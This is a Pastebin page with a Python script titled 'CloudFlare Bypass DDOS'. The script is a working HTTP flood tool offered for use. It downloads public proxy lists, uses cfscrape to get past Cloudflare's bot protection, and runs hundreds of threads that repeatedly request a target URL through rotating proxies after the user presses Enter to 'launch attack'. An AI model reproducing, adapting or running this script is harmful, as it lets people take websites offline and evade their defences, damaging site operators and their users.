Advertisement
alsakib945

CloudFlare Bypass DDOS

Nov 5th, 2020 (edited)
363
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.20 KB | None | 0 0
  1. # CloudFlare Bypass Ddos
  2. # Simple Script Use cfscrape Module, Connect Proxies To Bypass CF
  3. # Use Default proxy list or your private proxy list
  4. # Install
  5. #  sudo apt-get install python3
  6. #  pip3 install requests colorama cfscrape
  7.    
  8. #Usage:> python3 cfbypass.py
  9. #Note: User Comder Mini For Better Interface
  10. #By_3rr0r_Hun73r
  11. #Contact: fb.com/error.hunter
  12. #-----------------------------#
  13. import cfscrape
  14. import os
  15. import random
  16. import time
  17. import requests
  18. import threading
  19. from colorama import Fore
  20. print(Fore.YELLOW + """  
  21.  ____ _____   ______   ______   _    ____ ____
  22. / ___|  ___| | __ ) \ / /  _ \ / \ / ___/ ___|
  23. | |   | |_    |  _ \\  V /| |_) / _ \ \___ \___ \ \r
  24. | |___|  _|   | |_) || | |  __/ ___ \ ___) |__) |
  25. \____|_|     |____/ |_| |_| /_/   \_\____/____/
  26. """)
  27. print("reCoded By 3rr0r Hun73r")
  28.  
  29. def opth():
  30.     for a in range(thr):
  31.         x = threading.Thread(target=atk)
  32.         x.start()
  33.         print("Threads " + str(a+1) + " Created ")
  34.     print(Fore.RED + "Wait A Few Seconds For Threads Ready To Attack ...")
  35.     time.sleep(10)
  36.     input(Fore.CYAN + "Press Enter To Launch Attack !")
  37.     global oo
  38.     oo = True
  39.  
  40. oo = False
  41. def main():
  42.     global url
  43.     global list
  44.     global pprr
  45.     global thr
  46.     global per
  47.     url = str(input(Fore.GREEN + "Url : " + Fore.WHITE))
  48.     ssl = str(input(Fore.GREEN + "Enable SSL Mode ? (y/n) : " + Fore.WHITE))
  49.     ge = str(input(Fore.GREEN + "Get New Proxies List ? (y/n) : " + Fore.WHITE))
  50.     if ge =='y':
  51.         if ssl == 'y':
  52.             rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=yes&timeout=2000') #ReCode By 3rr0r Hun73r
  53.             with open('proxies.txt','wb') as fp:
  54.                 fp.write(rsp.content)
  55.                 print(Fore.CYAN + "Sucess Get Https Proxies List !")
  56.         else:
  57.             rsp = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all&anonymity=all&ssl=all&timeout=1000') #ReCode By 3rr0r Hun73r
  58.             with open('proxies.txt','wb') as fp:
  59.                 fp.write(rsp.content)
  60.                 print(Fore.CYAN + "Sucess Get Http Proxies List !")
  61.     else:
  62.         pass
  63.     list = str(input(Fore.GREEN + "List (proxies.txt) : " + Fore.WHITE))
  64.     pprr = open(list).readlines()
  65.     print(Fore.GREEN + "Proxies Count : " + Fore.WHITE + "%d" %len(pprr))
  66.     thr = int(input(Fore.GREEN + "Threads (1-400 Default Is 300) : " + Fore.WHITE))
  67.     per = int(input(Fore.GREEN + "CC.Power (1-100 Default Is 70) : " + Fore.WHITE))
  68.     opth()
  69.  
  70. def atk():
  71.     pprr = open(list).readlines()
  72.     proxy = random.choice(pprr).strip().split(":")
  73.     s = cfscrape.create_scraper()
  74.     s.proxies = {}
  75.     s.proxies['http'] = 'http://'+str(proxy[0])+":"+str(proxy[1])
  76.     s.proxies['https'] = 'https://'+str(proxy[0])+":"+str(proxy[1])
  77.     time.sleep(5)
  78.     while True:
  79.         while oo:
  80.             try:
  81.                 s.get(url)
  82.                 print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+ Fore.CYAN + " From~# " +Fore.WHITE+ str(proxy[0])+":"+str(proxy[1]))
  83.                 try:
  84.                     for g in range(per):
  85.                         s.get(url)
  86.                         print(Fore.CYAN + "Bypass -> " + Fore.WHITE + str(url)+Fore.CYAN + " From~# " +Fore.WHITE + str(proxy[0])+":"+str(proxy[1])) #recode By 3rr0r Hun73r
  87.                     s.close()
  88.                 except:
  89.                     s.close()
  90.             except:
  91.                 s.close()
  92.                 print(Fore.RED + "Can't Connect To Proxies Or Url !")
  93.  
  94.  
  95. if __name__ == "__main__":
  96.     main()
  97.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement